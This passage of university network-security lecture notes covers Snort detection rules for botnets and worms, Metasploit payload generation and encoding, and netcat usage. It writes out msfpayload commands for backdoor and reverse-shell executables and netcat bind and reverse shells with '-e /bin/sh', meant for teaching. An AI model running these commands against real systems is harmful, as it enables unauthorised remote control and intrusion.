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Computer and Network Security by Avi Kak Lecture 23

insensitive, offset that specifies how many bytes to skip be-

fore searching for the triggering condition, pcre that says that
matching of the payload will be with a Perl compatible regular
expression, etc.

• Some of the more commonly used keywords are for the metadata
option are: msg, reference, classtype, priority, sid, rev,
etc.

• In the rule example shown at the bottom of page 36, the body
contains two options: the payload detection option content and
the metadata option msg. Therefore, that rule will be triggered
by any TCP packet whose payload contains the byte sequence
A1 CC 35 87. When you are listing the bytes in hex, you are
supposed to place them between ‘|’ and ‘|’.

• It is often useful to only trigger a rule if the packet belongs to an

established TCP session. This is accomplished with the flow
option. The body of a rule will contain a string like flow:
to server, established if you wanted the rule to be trig-
gered by a packet meant for a server and it was a part of an
established session between the server and a client.

• You can also cause one rule to create conditions for triggering
another rule later on. This is done with the flowbits option.
An option declaration inside the rule body that looks like
39
Computer and Network Security by Avi Kak Lecture 23

flowbits:set, community_is_proto_irc;

means that you have set a tag named community is proto irc.
Now if there is another rule that contains the following option
declaration inside its body:
flowbits:isset, community_is_proto_irc;

this would then become a condition for the second rule to fire.

• With that very brief introduction to the rule syntax, let’s now
peek into some of the rule files that are used for intrusion detec-
tion.

• Shown below are some beginning rules in the file community-bot.

rules. These rules look for botnets using popular bot software.
[As explained in Lecture 29, a botnet is a typically a collection of compromised computers —
usually called zombies or bots — working together under the control of their human handlers — fre-

quently called bot herders — who may use the botnet to spew out malware such as spam, spyware,

etc. It makes it more difficult to track down malware if it seems to emanate randomly from a large

]
A bot herder typically sets up an IRC (Internet
network of zombies.

Relay Chat) channel for instant communications with the bots

under his/her control. Therefore, the beginning of the ruleset
shown below focuses on the IRC traffic in a network. [Although
it is relatively trivial to set up a chat server (for example, see Chapter 19 of my PwO book for C++

and Java examples and Chapter 15 of my SwO book for Perl and Python examples), what makes IRC

different is that one IRC server can connect with other IRC servers to expand the IRC network. Ideally,

when inter-server hookups are allowed, the servers operate in a tree topology in which the messages

are routed only through the branches that are necessary to serve all the clients but with every server

40
Computer and Network Security by Avi Kak Lecture 23

aware of the state of the network. IRC also allows for private client-to-client messaging and for private

individual-to-group link-ups. That should explain why bot herders like IRC. Joining an IRC

chat does not require a log-in, but it does require a nickname (frequently abbreviated as just nick in

IRC jargon). See Lecture 29 for further information on botnets. ]

# The following rule merely looks for IRC traffic on any TCP port (by detecting NICK change
# events, which occur at the beginning of the session) and sets the is_proto_irc flowbit.
# It does not actually generate any alerts itself:
alert tcp any any -> any any (msg:"COMMUNITY BOT IRC Traffic Detected By Nick Change"; \
flow: to_server,established; content:"NICK "; nocase; offset: 0; depth: 5; flowbits:set,\
community_is_proto_irc; flowbits: noalert; classtype:misc-activity; sid:100000240; rev:3;)

# Using the aforementioned is_proto_irc flowbits, do some IRC checks. This one looks for
# IRC servers running on the $HOME_NET
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY BOT Internal IRC server detected"; \
flow: to_server,established; flowbits:isset,community_is_proto_irc; classtype: policy-violation; \
sid:100000241; rev:2;)

# These rules look for specific Agobot/PhatBot commands on an IRC session

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.about \
command"; flow: established; flowbits:isset,community_is_proto_irc; content:"bot.about"; \
classtype: trojan-activity; sid:100000242; rev:2;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY BOT Agobot/PhatBot bot.die command";
flow: established; flowbits:isset,community_is_proto_irc; content:"bot.die"; classtype:
trojan-activity; sid:100000243; rev:2;)
....
....
....

• Next let us peek into the file community-virus.rules. Here

are the first three rules, meant for detecting the viruses Dabber
(at two different ports) and BlackWorm.

alert tcp $EXTERNAL_NET any -> $HOME_NET 5554 (msg:"COMMUNITY VIRUS Dabber PORT overflow \
attempt port 5554"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\
relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \
sid:100000110; rev:1;)

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Computer and Network Security by Avi Kak Lecture 23

alert tcp $EXTERNAL_NET any -> $HOME_NET 1023 (msg:"COMMUNITY VIRUS Dabber PORT overflow \
attempt port 1023"; flow:to_server,established,no_stream; content:"PORT"; nocase; isdataat:100,\
relative; pcre:"/^PORT\s[^\n]{100}/smi"; reference:MCAFEE,125300; classtype:attempted-admin; \
sid:100000111; rev:1;)

alert tcp $HOME_NET any -> 207.172.16.155 80 (msg:"COMMUNITY VIRUS Possible BlackWorm or \
Nymex infected host"; flow:to_server,established; uricontent:"/cgi-bin/Count.cgi?df=765247"; referen
Win32%2fMywife.E%40mm; reference:url,cme.mitre.org/data/list.html#24; reference:url,isc.\
sans.org/blackworm; classtype:trojan-activity; sid:100000226; rev:2;)

....
....

• It is easy to install snort through your Synaptic Packet Man-

ager, but be warned that the installation does not run to com-
pletion without additional intervention by you. Before telling
you what that intervention is, the installation will place the ex-
ecutable in /usr/sbin/snort, the start/stop/restart script in
/etc/init.d/snort, and the config files in the /etc/snort/
directory. As you’d expect, the documentation is placed in the
/usr/share/doc/snort/ directory. Please read the various
README files in this directory before completing the installation.
Some of these README files are compressed; so you will have to
use a command like

zcat README.Debian.gz | more

to see what the instructions are. As you will find out from these
README files, a full installation of snort requires that you also
install a database server like MySQL or PostgreSQL. But if you
want to just have fun with snort as you are becoming
familiar with the tool, it is not necessary to do so. You

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Computer and Network Security by Avi Kak Lecture 23

just need to make sure that you delete the zero-content file named
db-pending-config from the /etc/snort/ directory.

• The syntax for writing the intrusion detection rules is explained

in the file /usr/share/doc/snort/snort_rules.html.

• Your main config file is /etc/snort/snort.conf, but it should

be good enough as it is for an initial introduction to the system.

• Once you get snort going, try the following command lines:
sudo snort -v -i wlan0 // will see the headers of ALL TCP
// packets visible to the wlan0
// wireless interface

// the -v option is for verbose

// it slows down snort and it can lose
// packets with -v

sudo snort -d -e -i wlan0 // will also show you data in packets

// -d option is for data, -e is for
// link-layer packets

sudo snort -de -i wlan0 // a compressed form of the above

sudo snort -d -i wlan0 -l my_snortlog_directory -h 192.168.1.0/24

// will scan your home LAN and dump
// info into a logfile in the named
// directory

sudo snort -d -i wlan0 -l my_snortlog_directory -c rule-file

// will dump all of the info in a
// logfile but only for packets
// that trigger the specified rules

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Computer and Network Security by Avi Kak Lecture 23

Do ‘man snort’ to see all the options.

• If instead of the above command lines, you start up snort with:

sudo /etc/init.d/snort start

and then if you do ps ax | grep snort, you will discover that

this automatic start is equivalent to the following command line
invocation:
sudo snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf \
-S HOME_NET=[192.168.0.0/16] -i eth0

assuming you are connected to a home LAN (192.168.1.0/24).

Note the -c option here. In this case, this option points to the
config file itself, meaning in general all the rule files pointed to
by the config file.

• You can customize how snort works for each separate interface
by writing a config file specific to that interface. The naming con-
vention for such files is /etc/snort/snort.$INTERFACE.conf

• Some of the source code in snort is based directly on tcpdump.

• Martin Roesch is the force behind the development of Snort. It

is now maintained by his company Sourcefire. The main website
for Snort is http://www.snort.org. The main manual for the
system is snort_manual.pdf (it did not land in my computer
with the installation).

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Computer and Network Security by Avi Kak Lecture 23

23.5: PENETRATION TESTING AND

DEVELOPING NEW EXPLOITS WITH
THE METASPLOIT FRAMEWORK

• The Metasploit Framework (http://www.metasploit.com) has

emerged as “the tool” of choice for developing and testing new
exploits against computers and networks.

• The Metasploit Framework can be thought of as a major “force

multiplier” for both the good guys and the bad guys. It makes
it easier for the good guys to test the defenses of a computer
system against a large array of exploits that install malware in
your machine. At the same time, the Framework makes it much
easier for the bad guys to experiment with different exploits to
break into a computer.

• The Framework has sufficient smarts built into it so that it can

create exploits for a large number of different platforms, saving
the attacker the bother of actually having to write code for those
platforms.

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Computer and Network Security by Avi Kak Lecture 23

• Let’s say you want to create a worm for the iPhone platform
but you don’t know how to program in Objective C, the primary
language for iPhone applications. Not to worry. With the Metas-
ploit Framework, all you have to do is to execute the command
msfpayload and give it the options that apply to the iPhone
platform, and, voila, you’ll have the executable of a worm for the
iPhone. Obviously you would still be faced with the problem of
delivering the worm you just created to its intended target. For
that you could try mounting a social engineering attack of the
type discussed in Lecture 30.

• The MF command mentioned above, msfpayload, allows you to

create a payload in either the source-code form in a large variety
of languages or as a binary executable for a number of different
platforms. A exploit would then consist of installing the payload
in a machine to be attacked. [In the context of network security exploits,
a payload is the same thing as shellcode — examples of which you saw in Section 21.7
of Lecture 21.]

• The Metasploit Framework creates two different kinds of pay-

loads: (1) Payloads that are fully autonomous for whatever it is
they are meant to do — in the same sense as a worm we described
in Lecture 22. And (2) Payloads with just sufficient networking
capability to later pull in the rest of the needed code. [The first
type of a payload is easier to detect by anti-virus tools. The second type of a payload
would be much harder to detect because of its generic nature. The false-positive rate
of an anti-virus tool that detects the second type of a payload would generally be much

46
Computer and Network Security by Avi Kak Lecture 23

too high for the tool to be of much practical use.]

From the standpoint of the
good guys, a payload is what you attack a machine with to test
its defenses. And, from the standpoint of the bad guys, a payload
is nothing but a worm as we defined it in Lecture 22.

• The first type of a payload is created with the command syn-

tax that, for the case of payloads meant for the Windows plat-
form, looks like “msfpayload window/shell reverse tcp” and the
second type with command syntax that looks like “msfpayload
windows/shell/reverse tcp”.

• To give the reader a sense of the syntax used for creating the
payloads, the command
msfpayload windows/shell_bind_tcp X > temp.exe

creates the executable for a Windows backdoor shell listener, in

other words, a server socket, on port 4444 (by default). If you
could get the owner of a Windows machine to execute the code
produced, you would have direct connection with the server pro-
gram you installed surreptitiously. The following command line
msfpayload windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx \
LPORT=xxxxx > temp.exe

generates a reverse shell executable that connects back to the ma-

chine whose address is supplied through the parameter LHOST
on its port supplied through the parameter LPORT. What that
means is that subsequently you will have access to a shell on the
attacked machine for executing other commands.
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Computer and Network Security by Avi Kak Lecture 23

• Another very useful command in the Framework is msfencode

that encodes a payload to make its detection more difficult by en-
route filtering and targeted-machine anti-virus tools. The Metas-
ploit Framework includes several different encoders, the most
popular being called Shikata Ga Nai. A more technical name
for this encoder is “Polymorphic XOR Additive Feedback En-
coder”.

• Encoding a payload also generates a decoder stub that is prepended

to the encoded version of the payload for the purpose of decod-
ing the payload at runtime in the attacked machine. The decoder
stub simply reverses the steps used for encoding. The encoded
version of payload is generally produced by piping the output of
the msfpayload command into the msfencode command. Your
encoded payloads are less likely to be detected by anti-virus tools
if the payload was created was of the second type we mentioned
above. That is, if it is of the type that contains only minimal
code for connecting back to the attacker for the rest of the code.

• Here is an interesting report by I)ruid on how to encode a

payload in such a way that makes it more difficult for anti-virus
and intrusion prevention tools to detect the payload:
http://uninformed.org/index.cgi?v=9&a=3

The title of the report is “Context-keyed Payload Encoding: Pre-

venting Payload Disclosure via Context.”

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Computer and Network Security by Avi Kak Lecture 23

• Another interesting report you may wish to look up is “Effec-

tiveness of Antivirus in Detecting Metasploit Payloads” by Mark
Baggett. It is available from http://www.sans.org (or, you
can just google the title of the report). This report examines the
effectiveness with which the current anti-virus tools can detect
the payloads generated by the Metasploit Framework.

• A recent powerful and “stealthy” addition to the Metasploit Frame-

work is the Meterpreter extension that allows DLLs to be loaded
in-memory in an already running process in the victim’s machine
and without involving the disk at all. Subsequently, the attacker’s
machine loads the local extension APIs for the DLLs that allows
a remote invocation of the functionality of those DLLs inside the
victim’s machine.

• Meterpreter creates no new processes as it injects itself into an

already running process. That and the fact that it leaves no
trace of itself on the disk makes Meterpreter stealthy. By default,
Meterpreter uses encrypted communications.

• The Metasploit Framework has been acquired by Rapid7. How-

ever, it is free for non-commercial use.

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23.6: THE EXTREMELY VERSATILE

netcat UTILITY

• Netcat has got to be one of the most versatile tools ever created
for troubleshooting networks. It is frequently referred to as the
Swiss Army knife for network diagnostics.

• I suppose the coolest thing about netcat is that you can create
TCP/UDP servers and clients without knowing a thing about
how to program up such things in any language.

• And the second coolest thing about netcat is that it is supported

on practically all platforms. So you can easily have Windows,
Macs, Linux, etc., machines talking to one another even if you
don’t have the faintest idea as to how to write network program-
ming code on these platforms. [Netcat comes pre-installed on several
platforms, including Ubuntu and Macs]

• The manpage for netcat (you can see it by executing ‘man

netcat’ or ‘man nc’) is very informative and shows examples
of several different things you can do with netcat.

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• What I have said so far in this section is the good news. The
bad news is that you are likely to find two versions of netcat in
your Ubuntu install: nc.openbsd and nc.traditional. The
command nc is aliased to nc.openbsd. There are certain things
you can do with nc.traditional that you are not allowed to
with nc. Perhaps the most significant difference between nc and
nc.traditional is with regard to the ‘-e’ option. It is supported
in nc.traditional but not in nc. The ‘-e’ option can be used
to create shells and remote shells for the execution of commands.
You have a shell if the machine with the listener socket (the server socket) executes a shell command

like /bin/sh on Unix/Linux machines or like cmd.exe on Windows machines. Subsequently, a client

can send commands to the server, where they will be interpreted and executed by the shell. You have a

reverse shell if the client side creates a client socket and then executes a shell command locally (such as

by executing /bin/sh or cmd.exe) for the interpretation and execution of the commands received from

The ‘-e’ option can obviously create a major security

the server side.

vulnerability.

• Let’s now look at some of the many modes in which you can use
netcat. I’ll assume that you have available to you two machines
that both support netcat. [If one of these machines is behind a wireless access point
at home and the other is out there somewhere in the internet, you’d need to ask your wireless router

to open the server-side port you will be using for the experiments I describe below — regardless of

which of the two machines you use for the server side. If you don’t know how to open specific ports

on your home router, for a typical home setting, you’ll need to point your browser at home to a URL

like http://192.168.1.1 and, for the case of LinkSys routers at least, go to a page like “Applications

and Gaming” to enter the port number and the local IP address of the machine for which you want

the router to do what’s known as port forwarding. When “playing” with netcat, most folks use port

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1234 for the server side. So just allow port forwarding on port 1234. ]

• We will assume one of the machines is moonshine.ecn.purdue.edu

and the other is my Ubuntu laptop which may be either at home
(behind a LinkSys wireless router) or at work on Purdue PAL
wireless.

• For a simple two-way connection between my Ubuntu laptop

and moonshine.ecn.purdue.edu, I’ll enter in a terminal win-
dow on moonshine [You do NOT have to be root for all of the example code
shown in this section.] :

nc -l 1234

and in my Ubuntu laptop the command:

nc moonshine.ecn.purdue.edu 1234

The command-line option ‘-l’ (that is the letter ‘el’ and not the
number ‘one’) in the first command above creates a listening
socket on port 1234 at the moonshine end. The laptop end
creates a client socket that wants to connect to the service at
port 1234 of moonshine.ecn. purdue.edu. This establishes a
two-way TCP link between the two machines for the exchange
of one-line-at-a-time text. So anything you type at one end of
this link will appear at the other end. [This is obviously an example of a
rudimentary chat link.] You can obviously reverse the roles of the two
machines (provided, if you are at home behind a router, you have
enabled port-forwarding in the manner I described earlier).

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• An important feature of the ‘-l’ option for most invocations of

netcat is that when either side shuts down the TCP link by
entering Ctrl-D, the other side shuts down automatically. [The
Windows version of netcat also supports an ‘-L’ option for creating persistent listening
sockets. If you open up such a server-side listening socket, you can only shut it down
from the server side.]

• An extended version of the above demonstration is for establish-

ing a TCP link for transferring files. For example, if I say on the
moonshine machine:
nc -l 1234 > foo.txt

and if I execute the following command on my laptop:

nc moonshine.ecn.purdue.edu 1234 < bar.txt

The contents of the bar.txt on the laptop will be transferred to

the file foo.txt on moonshine.ecn.purdue.edu. The TCP
link is terminated after the file transfer is complete.

• I’ll now demonstrate how to use netcat to create a shell on a

remote machine. In line with the definition of shell and reverse
shell presented earlier in this section, if I want to get hold of a
shell on a remote machine, I must execute the command /bin/sh
directly on the remote machine. So we will execute the following
command on moonshine.ecn.purdue.edu:
nc.traditional -l -p 1234 -e /bin/sh

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Note the use of the ‘-e’ option, which is only available with
nc.traditional on Ubuntu machines. [If you are running the above
command on a Windows machine, replace /bin/sh by cmd.exe. Also, on Windows, you would call

nc and not nc.traditional. Running ‘-e’ option on Widows works only if you installed the version

of netcat that has ‘-e’ enabled. Note that an installation of the ‘-e’ enabled version of netcat on

Windows may set of anti-virus alarms. ] Subsequently, I will run on the laptop
the command
nc moonshine.ecn.purdue.edu 1234

Now I can invoke on my laptop any commands that I want exe-

cuted on the moonshine.ecn.purdue.edu machine (provided,
of course, moonshine understands those commands). For exam-
ple, if I enter ls on my laptop, it will be appropriately interpreted
and executed by the shell on moonshine and I will see on my
laptop a listing of all the files in the directory in which I created
the listening socket on the moonshine side. Since my laptop
now has access to a command shell on moonshine, the laptop
will maintain a continuous on-going connection with moonshine
and execute any number of commands there — until I hit either
Ctrl-D at the laptop end or Ctrl-C at the moonshine end. [Enter-
ing Ctrl-D on the client side means you are sending EOF (end-of-file) indication to the server socket at

the other end. And entering Ctrl-C on the server side means that you are sending the SIGINT signal

to the process in which the server program is running to bring it to a halt. ]

• I’ll now demonstrate how to use netcat to create a reverse shell

on a remote machine. In line with the definition of reverse shell
presented earlier in this section, the client side must now execute
a command like /bin/sh on Unix/Linux machines and cmd.exe
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on Windows machines in order to interpret and execute the com-

mands received from the server side. So, this time, let’s create
an ordinary listening socket on moonshine.ecn.purdue.edu by
entering the following in one of its terminal windows:
nc.traditional -l -p 1234

Now, on the laptop side, I’ll enter the following command line:
nc.traditional moonshine.ecn.purdue.edu 1234 -e /bin/sh

Now any commands I enter on the server side — the moonshine

side — will be executed on the laptop and the output of those
commands displayed on the server side. This is referred to as
the server having access to a reverse shell on the client side.
You can terminate this TCP link by entering Ctrl-C on either
side. [If you are running the above client-side command on a Windows machine, replace /bin/sh
by cmd.exe to make available the Windows command shell to the server side.]

• You can also use netcat to carry out a rudimentary port scan
with a command like
nc -v -z -w 2 shay.ecn.purdue.edu 20-30

where the last argument, 20-30, means that we want the ports
20 to 30, both ends inclusive, to be scanned. The ‘-w 2’ sets the
timeout to 2 seconds for the response from each port. The option
‘-v’ is for the verbose mode. When used for port scanning, you
may not see any output if you make the call without the verbose
option. The option ‘-z’ ensures that no data will be sent the

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machine being port scanned. There is also the option ‘-r’ to

randomize the order in which the ports are scanned.

• For the next example, I’ll show how you can use netcat to redi-
rect a port. [This is something that you can also do easily with iptables by inserting a
REDIRECT rule in the PREROUTING chain of the nat table of the firewall. See Chapter 18.] To
explain the idea with a simple example, as you know, the SSH
service is normally made available on port 22. Let’s say, just for
sake of making an example of port redirection, that you cannot
reach that port directly. Instead you are allowed to reach, say,
the port 2020. With netcat, you can relay your SSH connection
through the port 2020. To bring that about, you execute the fol-
lowing two commands in some directory (which could be ‘/tmp’
that all processes are allowed to write to)
mkfifo reverse
nc -l 2020 < reverse | nc localhost 22 > reverse

As to the reason for the first command above, note that a pipe
is a unidirectional connection. So if we use a pipe to route the
incoming traffic at the server on the listening port 2020 to another
instance of netcat acting as a client vis-a-vis the SSHD server
on port 22 of the same host, we also need to figure out how to
route the information returned by the SSHD server. That is,
when the SSHD server sends the TCP packets back to whosoever
made a connection request, those packets need to travel back on
the same relay path. This we do by first creating a standalone
pipe with a designated name with the mkfifo command. We
call this pipe reverse for obvious reasons. [In order to understand why nc
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localhost 22 > reverse captures the return TCP packets emanating the SSHD server, go back to

In the forward direction, whatever

the example of using netcat for file transfer.

the command ‘nc -l 2020’ write to the standard output get fed
into the standard input to ‘nc localhost 22’. Subsequently,
at the client site, you enter a command line like the following to
make an SSH connection with the remote host:
ssh [email protected] -p 2020

• Finally, note that netcat understands both IPv4 and IPv6. A

netcat command can be customized to the IPv4 protocol with
the ‘-4’ option flag and to the IPv6 protocol with the ‘-6’ flag.

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23.7: HOMEWORK PROBLEMS

1. Nowadays even the hoi polloi talk about the ports on their home
computers being open or closed. But what exactly is meant by an
open port? And by a closed port? Say I buy a brand new laptop
with only the most basic software (word processor, browser, etc.)
installed on it. Should I assume that all the ports on the laptop
are open?

2. Let’s say your home router has a firewall in it that you can con-
figure with a web-based tool running on a computer behind the
router. Is the meaning of a port being open in the router firewall
the same as the meaning of a port being open in your laptop?

3. What are all the different things you can accomplish with the
nmap port scanner? Say that my laptop is only hosting the sshd
and httpd server daemons. Assuming a standard install for these
servers, which ports will be found to be open on my laptop by
the nmap port scanner?

4. Let’s say you have port scanned my laptop and found no ports to
be open. Should I leap to the conclusion that all the ports on my
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laptop are closed and that therefore my laptop is not vulnerable

to virus and worms?

5. What are the main differences between a port scanner like nmap
and a vulnerability scanner like nessus?

6. Why might it be unwise to scan a network too frequently with a

vulnerability scanner?

7. The vulnerability tests carried out by the nessus scanner are

written in a special language. What is it called?

8. What do the phrases “packet sniffer,” “protocol analyzer,” and

“network analyzer” mean to you? How do these things differ
from port scanners and vulnerability scanners?

9. As you know, the network interface on all of the machines in a

LAN see all the packets in the LAN regardless of which machines
they originate from or which machines they are intended for.
Does the same thing happen in a wireless LAN? [A more precise phrasing
of this question would say: “....all the packets in that portion of a LAN that is behind the same switch ...”.

]
See Lecture 16 for the difference between routers, switches, hubs.

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10. Describe the structure of an Ethernet frame? What is the maxi-

mum size of an Ethernet frame? What about its minimum size?

11. How does the Data Link Layer in the TCP/IP stack of a router
map the destination IP address in a packet received from the
internet to the MAC address of the destination machine in the
LAN controlled by the router?

12. When we say that a network interface is operating in the promis-

cuous mode, what do we mean?

13. What is the difference between tcpdump and snort? What

makes snort such a powerful tool for intrusion detection?

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